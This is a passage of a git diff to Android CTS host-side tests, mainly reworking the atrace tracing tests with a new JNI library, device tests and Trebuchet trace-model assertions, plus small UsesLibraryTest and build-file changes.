+ allowView = getNodeTimed(() -> findByText(allowAllLabel), true);
+ }
+ Assert.assertNotNull("Allow label should be present", allowView);
+
+ click(allowView);
} else {
- click(itemView);
+ click(denyView);
}
waitForIdle();
@@ -430,6 +441,9 @@
waitForIdle();
}
}
+
+ getUiDevice().pressBack();
+ waitForIdle();
}
getUiDevice().pressBack();
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
index b9dc639..73b820d 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
@@ -30,6 +30,7 @@
import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
+import java.util.Arrays;
public class UsesLibraryTest extends InstrumentationTestCase {
private static final String TAG = "UsesLibraryTest";
@@ -75,26 +76,23 @@
ClassLoader loader = getClass().getClassLoader();
if (loader instanceof BaseDexClassLoader) {
Object[] dexElements = getDexElementsFromClassLoader((BaseDexClassLoader) loader);
- assertTrue(dexElements != null && dexElements.length > 1);
+ assertTrue(dexElements != null);
+ assertTrue(dexElements.length > 0);
- // First dex file is either the shared library or the cts instrumentation library.
- DexFile libDexFile = getDexFileFromDexElement(dexElements[0]);
- String libPath = libDexFile.getName();
// The last dex file should be the test apk file: com.android.cts.useslibrary.
DexFile apkDexFile = getDexFileFromDexElement(dexElements[dexElements.length - 1]);
String apkPath = apkDexFile.getName();
// In order to ensure the collision check is executed we use the apkDexFile when
// constructing the test class path for duplicates.
- // We do not use the shared libraries apks because they are compiled with a special
- // marker which may skip the collision check (b/37777332).
- String testPath = libPath + File.pathSeparator + apkPath + File.pathSeparator + apkPath;
+ String testPath = apkPath + File.pathSeparator + apkPath;
PathClassLoader testLoader = new PathClassLoader(testPath, null);
Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
- assertTrue(testDexElements != null && testDexElements.length == 3);
+ assertTrue(testDexElements != null);
+ assertEquals(Arrays.toString(testDexElements), 2, testDexElements.length);
- DexFile testDexFile = getDexFileFromDexElement(testDexElements[2]);
+ DexFile testDexFile = getDexFileFromDexElement(testDexElements[1]);
assertFalse(isDexFileBackedByOatFile(testDexFile));
}
}
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index b1e84cb..f01f5b9 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := 28
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-test \
compatibility-device-util
diff --git a/hostsidetests/atrace/Android.mk b/hostsidetests/atrace/Android.mk
index 0c84134..a4e5aca 100644
--- a/hostsidetests/atrace/Android.mk
+++ b/hostsidetests/atrace/Android.mk
@@ -22,6 +22,7 @@
LOCAL_MODULE := CtsAtraceHostTestCases
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+LOCAL_STATIC_JAVA_LIBRARIES := trebuchet-core
LOCAL_CTS_TEST_PACKAGE := android.host.atrace
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.mk b/hostsidetests/atrace/AtraceTestApp/Android.mk
index 146d037..b803e19 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.mk
+++ b/hostsidetests/atrace/AtraceTestApp/Android.mk
@@ -22,6 +22,8 @@
LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_JNI_SHARED_LIBRARIES := libctstrace_jni
+LOCAL_MULTILIB := both
LOCAL_PACKAGE_NAME := CtsAtraceTestApp
@@ -39,3 +41,5 @@
LOCAL_AAPT_FLAGS += --warn-manifest-validation
include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml b/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
index 16b56b3..cb57d14 100644
--- a/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
+++ b/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
@@ -30,4 +30,7 @@
<!-- Profileable to enable tracing -->
<profileable android:shell="true"/>
</application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.atracetestapp" />
</manifest>
diff --git a/hostsidetests/atrace/AtraceTestApp/jni/Android.mk b/hostsidetests/atrace/AtraceTestApp/jni/Android.mk
new file mode 100644
index 0000000..845b245
--- /dev/null
+++ b/hostsidetests/atrace/AtraceTestApp/jni/Android.mk
@@ -0,0 +1,33 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctstrace_jni
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+ CtsTrace.cpp
+
+LOCAL_CFLAGS += -Wall -Werror
+
+LOCAL_SHARED_LIBRARIES := libandroid
+LOCAL_NDK_STL_VARIANT := c++_static
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/atrace/AtraceTestApp/jni/CtsTrace.cpp b/hostsidetests/atrace/AtraceTestApp/jni/CtsTrace.cpp
new file mode 100644
index 0000000..ce91662
--- /dev/null
+++ b/hostsidetests/atrace/AtraceTestApp/jni/CtsTrace.cpp
@@ -0,0 +1,57 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <android/trace.h>
+
+static jboolean isEnabled(JNIEnv*, jclass) {
+ return ATrace_isEnabled();
+}
+
+static void beginEndSection(JNIEnv*, jclass) {
+ ATrace_beginSection("ndk::beginEndSection");
+ ATrace_endSection();
+}
+
+static void asyncBeginEndSection(JNIEnv*, jclass) {
+ ATrace_beginAsyncSection("ndk::asyncBeginEndSection", 4770);
+ ATrace_endAsyncSection("ndk::asyncBeginEndSection", 4770);
+}
+
+
+static void counter(JNIEnv*, jclass) {
+ ATrace_setCounter("ndk::counter", 10);
+ ATrace_setCounter("ndk::counter", 20);
+ ATrace_setCounter("ndk::counter", 30);
+ ATrace_setCounter("ndk::counter", 9223372000000005807L);
+}
+
+static JNINativeMethod gMethods[] = {
+ { "isEnabled", "()Z", (void*) isEnabled },
+ { "beginEndSection", "()V", (void*) beginEndSection },
+ { "asyncBeginEndSection", "()V", (void*) asyncBeginEndSection },
+ { "counter", "()V", (void*) counter },
+};
+
+jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
+ JNIEnv* env = nullptr;
+ if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK) {
+ return JNI_ERR;
+ }
+ jclass clazz = env->FindClass("com/android/cts/atracetestapp/AtraceNdkMethods");
+ env->RegisterNatives(clazz, gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+ return JNI_VERSION_1_4;
+}
diff --git a/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceDeviceTests.java b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceDeviceTests.java
new file mode 100644
index 0000000..b41b641
--- /dev/null
+++ b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceDeviceTests.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.atracetestapp;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Bundle;
+import android.os.Trace;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.Os;
+
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class AtraceDeviceTests {
+
+ @BeforeClass
+ public static void reportPidTid() {
+ Bundle status = new Bundle();
+ status.putLong("AtraceDeviceTests_pid", Os.getpid());
+ status.putLong("AtraceDeviceTests_tid", Os.gettid());
+ InstrumentationRegistry.getInstrumentation().addResults(status);
+ }
+
+ @Rule
+ public ActivityTestRule<AtraceTestAppActivity> mActivity =
+ new ActivityTestRule<>(AtraceTestAppActivity.class, true, false);
+
+ @Test
+ public void assertTracingOn() {
+ assertTrue(Trace.isEnabled());
+ assertTrue(AtraceNdkMethods.isEnabled());
+ }
+
+ @Test
+ public void assertTracingOff() {
+ assertFalse(Trace.isEnabled());
+ assertFalse(AtraceNdkMethods.isEnabled());
+ }
+
+ @Test
+ public void beginEndSection() {
+ assertTrue(Trace.isEnabled());
+ assertTrue(AtraceNdkMethods.isEnabled());
+ Trace.beginSection("AtraceDeviceTest::beginEndSection");
+ Trace.endSection();
+ AtraceNdkMethods.beginEndSection();
+ }
+
+ @Test
+ public void asyncBeginEndSection() {
+ assertTrue(Trace.isEnabled());
+ assertTrue(AtraceNdkMethods.isEnabled());
+ Trace.beginAsyncSection("AtraceDeviceTest::asyncBeginEndSection", 42);
+ Trace.endAsyncSection("AtraceDeviceTest::asyncBeginEndSection", 42);
+ AtraceNdkMethods.asyncBeginEndSection();
+ }
+
+ @Test
+ public void counter() {
+ assertTrue(Trace.isEnabled());
+ assertTrue(AtraceNdkMethods.isEnabled());
+ Trace.setCounter("AtraceDeviceTest::counter", 10);
+ Trace.setCounter("AtraceDeviceTest::counter", 20);
+ Trace.setCounter("AtraceDeviceTest::counter", 30);
+ Trace.setCounter("AtraceDeviceTest::counter", 9223372000000005807L);
+ AtraceNdkMethods.counter();
+ }
+
+ @Test
+ public void launchActivity() {
+ AtraceTestAppActivity activity = mActivity.launchActivity(null);
+ activity.waitForDraw();
+ activity.finish();
+ }
+
+ static {
+ System.loadLibrary("ctstrace_jni");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceNdkMethods.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceNdkMethods.java
index 14dbf6b..429eba4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceNdkMethods.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,19 +14,11 @@
* limitations under the License.
*/
-package android.security.cts;
+package com.android.cts.atracetestapp;
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
- /**
- * b/28026365
- */
- @SecurityTest(minPatchLevel = "2016-08")
- public void testPocCVE_2016_2504() throws Exception {
- if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
- }
- }
+public class AtraceNdkMethods {
+ public static native boolean isEnabled();
+ public static native void beginEndSection();
+ public static native void asyncBeginEndSection();
+ public static native void counter();
}
diff --git a/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceTestAppActivity.java b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceTestAppActivity.java
index 3e8fa3a..85adeee 100644
--- a/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceTestAppActivity.java
+++ b/hostsidetests/atrace/AtraceTestApp/src/com/android/cts/atracetestapp/AtraceTestAppActivity.java
@@ -15,26 +15,87 @@
*/
package com.android.cts.atracetestapp;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.app.Activity;
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
import android.os.Bundle;
import android.os.Trace;
+import android.view.View;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
public class AtraceTestAppActivity extends Activity {
+
+ private CountDownLatch mHasDrawnFence;
+
@Override
protected void onCreate(Bundle savedInstanceState) {
- Trace.beginSection("traceable-app-test-section");
- Trace.setCounter("mycounter", Trace.isEnabled() ? 1 : 0);
- Trace.beginAsyncSection("traceable-async-section", 100);
+ Trace.beginAsyncSection("AtraceActivity::created", 1);
super.onCreate(savedInstanceState);
- Trace.endSection();
+ mHasDrawnFence = new CountDownLatch(1);
+ MyView view = new MyView(this);
+ setContentView(view);
+ view.getViewTreeObserver().registerFrameCommitCallback(mHasDrawnFence::countDown);
+ }
- Thread t = new Thread(() ->
- Trace.endAsyncSection("traceable-async-section", 100));
- t.start();
+ @Override
+ protected void onStart() {
+ Trace.beginAsyncSection("AtraceActivity::started", 1);
+ super.onStart();
+ }
+
+ @Override
+ protected void onResume() {
+ Trace.beginAsyncSection("AtraceActivity::resumed", 1);
+ super.onResume();
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ Trace.endAsyncSection("AtraceActivity::resumed", 1);
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ Trace.endAsyncSection("AtraceActivity::started", 1);
+ }
+
+ @Override
+ protected void onDestroy() {
+ mHasDrawnFence = null;
+ super.onDestroy();
+ Trace.endAsyncSection("AtraceActivity::created", 1);
+ }
+
+ public void waitForDraw() {
try {
- t.join();
+ assertTrue(mHasDrawnFence.await(10, TimeUnit.SECONDS));
} catch (InterruptedException e) {
- throw new RuntimeException(e);
+ fail("Timed out: " + e.getMessage());
+ }
+ }
+
+ private static class MyView extends View {
+ private static int sDrawCount = 0;
+
+ public MyView(Context context) {
+ super(context);
+ setWillNotDraw(false);
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ Trace.beginSection("MyView::onDraw");
+ Trace.setCounter("MyView::drawCount", ++sDrawCount);
+ canvas.drawColor(Color.BLUE);
+ Trace.endSection();
}
}
}
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceConfig.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceConfig.java
new file mode 100644
index 0000000..6679e96
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceConfig.java
@@ -0,0 +1,32 @@
+package android.atrace.cts;
+
+public final class AtraceConfig {
+
+ // Collection of all userspace tags, and 'sched'
+ public static final String[] RequiredCategories = {
+ "sched",
+ "gfx",
+ "input",
+ "view",
+ "webview",
+ "wm",
+ "am",
+ "sm",
+ "audio",
+ "video",
+ "camera",
+ "hal",
+ "res",
+ "dalvik",
+ "rs",
+ "bionic",
+ "power"
+ };
+
+ // Categories to use when capturing a trace with otherwise no categories specified
+ public static final String[] DefaultCategories = {
+ "view"
+ };
+
+ private AtraceConfig() {}
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceDeviceTestList.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to hostsidetests/atrace/src/android/atrace/cts/AtraceDeviceTestList.java
index 14dbf6b..28b6f8c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceDeviceTestList.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,19 +14,13 @@
* limitations under the License.
*/
-package android.security.cts;
+package android.atrace.cts;
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
- /**
- * b/28026365
- */
- @SecurityTest(minPatchLevel = "2016-08")
- public void testPocCVE_2016_2504() throws Exception {
- if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
- }
- }
+public enum AtraceDeviceTestList {
+ assertTracingOn,
+ assertTracingOff,
+ beginEndSection,
+ asyncBeginEndSection,
+ counter,
+ launchActivity,
}
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
index 1af897e4..feed45f 100644
--- a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
@@ -16,18 +16,17 @@
package android.atrace.cts;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
+import static android.atrace.cts.AtraceDeviceTestList.assertTracingOff;
+import static android.atrace.cts.AtraceDeviceTestList.assertTracingOn;
+import static android.atrace.cts.AtraceDeviceTestList.asyncBeginEndSection;
+import static android.atrace.cts.AtraceDeviceTestList.beginEndSection;
+import static android.atrace.cts.AtraceDeviceTestList.counter;
+import static android.atrace.cts.AtraceDeviceTestList.launchActivity;
+
import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
import java.io.BufferedReader;
-import java.io.File;
import java.io.Reader;
-import java.io.StringReader;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
@@ -35,12 +34,20 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
+import kotlin.Unit;
+import trebuchet.model.Counter;
+import trebuchet.model.CounterValue;
+import trebuchet.model.Model;
+import trebuchet.model.ProcessModel;
+import trebuchet.model.ThreadModel;
+import trebuchet.model.base.Slice;
+import trebuchet.model.fragments.AsyncSlice;
+import trebuchet.queries.SliceQueries;
+
/**
* Test to check that atrace is usable, to enable usage of systrace.
*/
-public class AtraceHostTest extends DeviceTestCase implements IBuildReceiver {
- private static final String TEST_APK = "CtsAtraceTestApp.apk";
- private static final String TEST_PKG = "com.android.cts.atracetestapp";
+public class AtraceHostTest extends AtraceHostTestBase {
private interface FtraceEntryCallback {
void onTraceEntry(String threadName, int pid, int tid, String eventType, String args);
@@ -84,42 +91,11 @@
}
}
- private IBuildInfo mCtsBuild;
-
- /**
- * {@inheritDoc}
- */
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- // Collection of all userspace tags, and 'sched'
- private static final List<String> sRequiredCategoriesList = Arrays.asList(
- "sched",
- "gfx",
- "input",
- "view",
- "webview",
- "wm",
- "am",
- "sm",
- "audio",
- "video",
- "camera",
- "hal",
- "res",
- "dalvik",
- "rs",
- "bionic",
- "power"
- );
-
/**
* Tests that atrace exists and is runnable with no args
*/
- public void testSimpleRun() throws Exception {
- String output = getDevice().executeShellCommand("atrace");
+ public void testSimpleRun() {
+ String output = shell("atrace");
String[] lines = output.split("\\r?\\n");
// check for expected stdout
@@ -133,11 +109,12 @@
/**
* Tests the output of "atrace --list_categories" to ensure required categories exist.
*/
- public void testCategories() throws Exception {
- String output = getDevice().executeShellCommand("atrace --list_categories");
+ public void testCategories() {
+ String output = shell("atrace --list_categories");
String[] categories = output.split("\\r?\\n");
- Set<String> requiredCategories = new HashSet<String>(sRequiredCategoriesList);
+ Set<String> requiredCategories = new HashSet<String>(Arrays.asList(
+ AtraceConfig.RequiredCategories));
for (String category : categories) {
int dashIndex = category.indexOf("-");
@@ -156,135 +133,150 @@
}
}
+ public void testTracingIsEnabled() {
+ runSingleAppTest(assertTracingOff);
+ traceSingleTest(assertTracingOn, true);
+ runSingleAppTest(assertTracingOff);
+ }
+
+ // Verifies that although tracing is active, Trace.isEnabled() is false since the app
+ // category isn't enabled
+ public void testTracingIsDisabled() {
+ runSingleAppTest(assertTracingOff);
+ traceSingleTest(assertTracingOff, false);
+ runSingleAppTest(assertTracingOff);
+ }
+
+ private static ThreadModel findThread(Model model, int id) {
+ for (ProcessModel process : model.getProcesses().values()) {
+ for (ThreadModel thread : process.getThreads()) {
+ if (thread.getId() == id) {
+ return thread;
+ }
+ }
+ }
+ return null;
+ }
+
+ private static ProcessModel findProcess(Model model, int id) {
+ for (ProcessModel process : model.getProcesses().values()) {
+ if (process.getId() == id) {
+ return process;
+ }
+ }
+ return null;
+ }
+
+ private static Counter findCounter(ProcessModel processModel, String name) {
+ for (Counter counter : processModel.getCounters()) {
+ if (name.equals(counter.getName())) {
+ return counter;
+ }
+ }
+ return null;
+ }
+
+ public void testBeginEndSection() {
+ TraceResult result = traceSingleTest(beginEndSection);
+ assertTrue(result.getPid() > 0);
+ assertTrue(result.getTid() > 0);
+ assertNotNull(result.getModel());
+ ThreadModel thread = findThread(result.getModel(), result.getTid());
+ assertNotNull(thread);
+ assertEquals(2, thread.getSlices().size());
+ Slice sdkSlice = thread.getSlices().get(0);
+ assertEquals("AtraceDeviceTest::beginEndSection", sdkSlice.getName());
+ Slice ndkSlice = thread.getSlices().get(1);
+ assertEquals("ndk::beginEndSection", ndkSlice.getName());
+ }
+
+ public void testAsyncBeginEndSection() {
+ TraceResult result = traceSingleTest(asyncBeginEndSection);
+ assertTrue(result.getPid() > 0);
+ assertTrue(result.getTid() > 0);
+ assertNotNull(result.getModel());
+ ProcessModel process = findProcess(result.getModel(), result.getPid());
+ assertNotNull(process);
+ assertEquals(2, process.getAsyncSlices().size());
+ AsyncSlice sdkSlice = process.getAsyncSlices().get(0);
+ assertEquals("AtraceDeviceTest::asyncBeginEndSection", sdkSlice.getName());
+ assertEquals(42, sdkSlice.getCookie());
+ AsyncSlice ndkSlice = process.getAsyncSlices().get(1);
+ assertEquals("ndk::asyncBeginEndSection", ndkSlice.getName());
+ assertEquals(4770, ndkSlice.getCookie());
+ }
+
+ public void testCounter() {
+ TraceResult result = traceSingleTest(counter);
+ assertTrue(result.getPid() > 0);
+ assertTrue(result.getTid() > 0);
+ assertNotNull(result.getModel());
+ ProcessModel process = findProcess(result.getModel(), result.getPid());
+ assertNotNull(process);
+ assertTrue(process.getCounters().size() > 0);
+ Counter counter = findCounter(process, "AtraceDeviceTest::counter");
+ assertNotNull(counter);
+ List<CounterValue> values = counter.getEvents();
+ assertEquals(4, values.size());
+ assertEquals(10, values.get(0).getCount());
+ assertEquals(20, values.get(1).getCount());
+ assertEquals(30, values.get(2).getCount());
+ assertEquals(9223372000000005807L, values.get(3).getCount());
+ }
+
/**
* Tests that atrace captures app launch, including app level tracing
*/
- public void testTracingContent() throws Exception {
- String atraceOutput = null;
- try {
- // cleanup test apps that might be installed from previous partial test run
- getDevice().uninstallPackage(TEST_PKG);
+ public void testTracingContent() {
+ turnScreenOn();
+ TraceResult result = traceSingleTest(launchActivity, AtraceConfig.DefaultCategories);
- // install the test app
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- File testAppFile = buildHelper.getTestFile(TEST_APK);
- String installResult = getDevice().installPackage(testAppFile, false);
- assertNull(
- String.format("failed to install atrace test app. Reason: %s", installResult),
- installResult);
+ final Set<String> requiredSections = new HashSet<>(Arrays.asList(
+ // From the 'view' category
+ "inflate",
+ "Choreographer#doFrame",
+ "traversal",
+ "measure",
+ "layout",
+ "draw",
+ "Record View#draw()",
- // capture a launch of the app with async tracing
- // content traced by 'view' tag tested below, 'sched' used to ensure tgid printed
- String atraceArgs = "-a " + TEST_PKG + " -c -b 16000 view"; // TODO: zipping
- getDevice().executeShellCommand("atrace --async_stop " + atraceArgs);
- getDevice().executeShellCommand("atrace --async_start " + atraceArgs);
- getDevice().executeShellCommand("am start " + TEST_PKG);
- getDevice().executeShellCommand("sleep 5");
- atraceOutput = getDevice().executeShellCommand("atrace --async_stop " + atraceArgs);
- } finally {
- assertNotNull("unable to capture atrace output", atraceOutput);
- getDevice().uninstallPackage(TEST_PKG);
+ // From our app code
+ "MyView::onDraw"
+ ));
+
+ ThreadModel thread = findThread(result.getModel(), result.getPid());
+ SliceQueries.INSTANCE.iterSlices(thread, (Slice slice) -> {
+ requiredSections.remove(slice.getName());
+ return Unit.INSTANCE;
+ });
+
+ assertEquals("Didn't find all required sections",
+ 0, requiredSections.size());
+
+ ProcessModel processModel = findProcess(result.getModel(), result.getPid());
+ Counter drawCounter = findCounter(processModel, "MyView::drawCount");
+ assertNotNull(drawCounter);
+ assertTrue(drawCounter.getEvents().size() > 0);
+ long previousCount = 0;
+ for (CounterValue value : drawCounter.getEvents()) {
+ assertTrue(previousCount < value.getCount());
+ previousCount = value.getCount();
}
+ assertTrue(previousCount > 0);
+ final Set<String> requiredAsyncSections = new HashSet<>(Arrays.asList(
+ "AtraceActivity::created",
+ "AtraceActivity::started",
+ "AtraceActivity::resumed"
+ ));
- // now parse the trace data (see external/chromium-trace/systrace.py)
- final String MARKER = "TRACE:";
- int dataStart = atraceOutput.indexOf(MARKER);
- assertTrue(dataStart >= 0);
- String traceData = atraceOutput.substring(dataStart + MARKER.length());
-
- FtraceEntryCallback callback = new FtraceEntryCallback() {
- private int userSpaceMatches = 0;
- private int beginMatches = 0;
- private int nextSectionIndex = -1;
- private int appTid = -1;
-
- private boolean foundCounter = false;
- private boolean foundAsyncStart = false;
- private int asyncEndTid = -1;
-
-
- private final String initialSection = "traceable-app-test-section";
- // list of tags expected to be seen on app launch, in order, after the initial.
- private final String[] requiredSectionList = {
- "inflate",
- "Choreographer#doFrame",
- "traversal",
- "measure",
- "layout",
- "draw",
- "Record View#draw()"
- };
-
- @Override
- public void onTraceEntry(String truncatedThreadName, int pid, int tid,
- String eventName, String details) {
- if (!"tracing_mark_write".equals(eventName) || details == null) {
- // not userspace trace, ignore
- return;
- }
-
- assertNotNull(truncatedThreadName);
- assertTrue(tid > 0);
- userSpaceMatches++;
-
- if (details.startsWith("S|") && details.endsWith("traceable-async-section|100")) {
- assertFalse("Found more async starts than expected", foundAsyncStart);
- foundAsyncStart = true;
- return;
- }
- if (details.startsWith("F|") && details.endsWith("traceable-async-section|100")) {
- assertEquals(-1, asyncEndTid);
- asyncEndTid = tid;
- return;
- }
-
- if (details.startsWith("C|") && details.endsWith("mycounter|1")) {
- assertFalse("Found too many counter entires", foundCounter);
- foundCounter = true;
- return;
- }
-
- if (!details.startsWith("B|")) {
- // not a begin event
- return;
- }
- beginMatches++;
-
- if (details.endsWith("|" + initialSection)) {
- // initial section observed, start looking for others in order
- assertEquals(nextSectionIndex, -1);
- nextSectionIndex = 0;
- appTid = tid;
- return;
- }
-
- if (nextSectionIndex >= 0
- && tid == appTid
- && nextSectionIndex < requiredSectionList.length
- && details.endsWith("|" + requiredSectionList[nextSectionIndex])) {
- // found next required section in sequence
- nextSectionIndex++;
- }
+ for (AsyncSlice asyncSlice : processModel.getAsyncSlices()) {
+ if (requiredAsyncSections.remove(asyncSlice.getName())) {
+ assertEquals(1, asyncSlice.getCookie());
}
-
- @Override
- public void onFinished() {
- assertTrue("Unable to parse any userspace sections from atrace output",
- userSpaceMatches != 0);
- assertTrue("Unable to parse any section begin events from atrace output",
- beginMatches != 0);
- assertTrue("Unable to parse initial userspace sections from test app",
- nextSectionIndex >= 0);
- assertEquals("Didn't see required list of traced sections, in order",
- requiredSectionList.length, nextSectionIndex);
- assertTrue("Didn't find async start", foundAsyncStart);
- assertTrue("Didn't find counter", foundCounter);
- assertTrue("Didn't find async end", asyncEndTid != -1);
- assertTrue("Async end wasn't on a different thread", asyncEndTid != appTid);
- }
- };
-
- FtraceParser.parse(new StringReader(traceData), callback);
+ }
+ assertEquals("Didn't find all async sections",
+ 0, requiredAsyncSections.size());
}
}
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTestBase.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTestBase.java
new file mode 100644
index 0000000..3ab9eb9
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTestBase.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
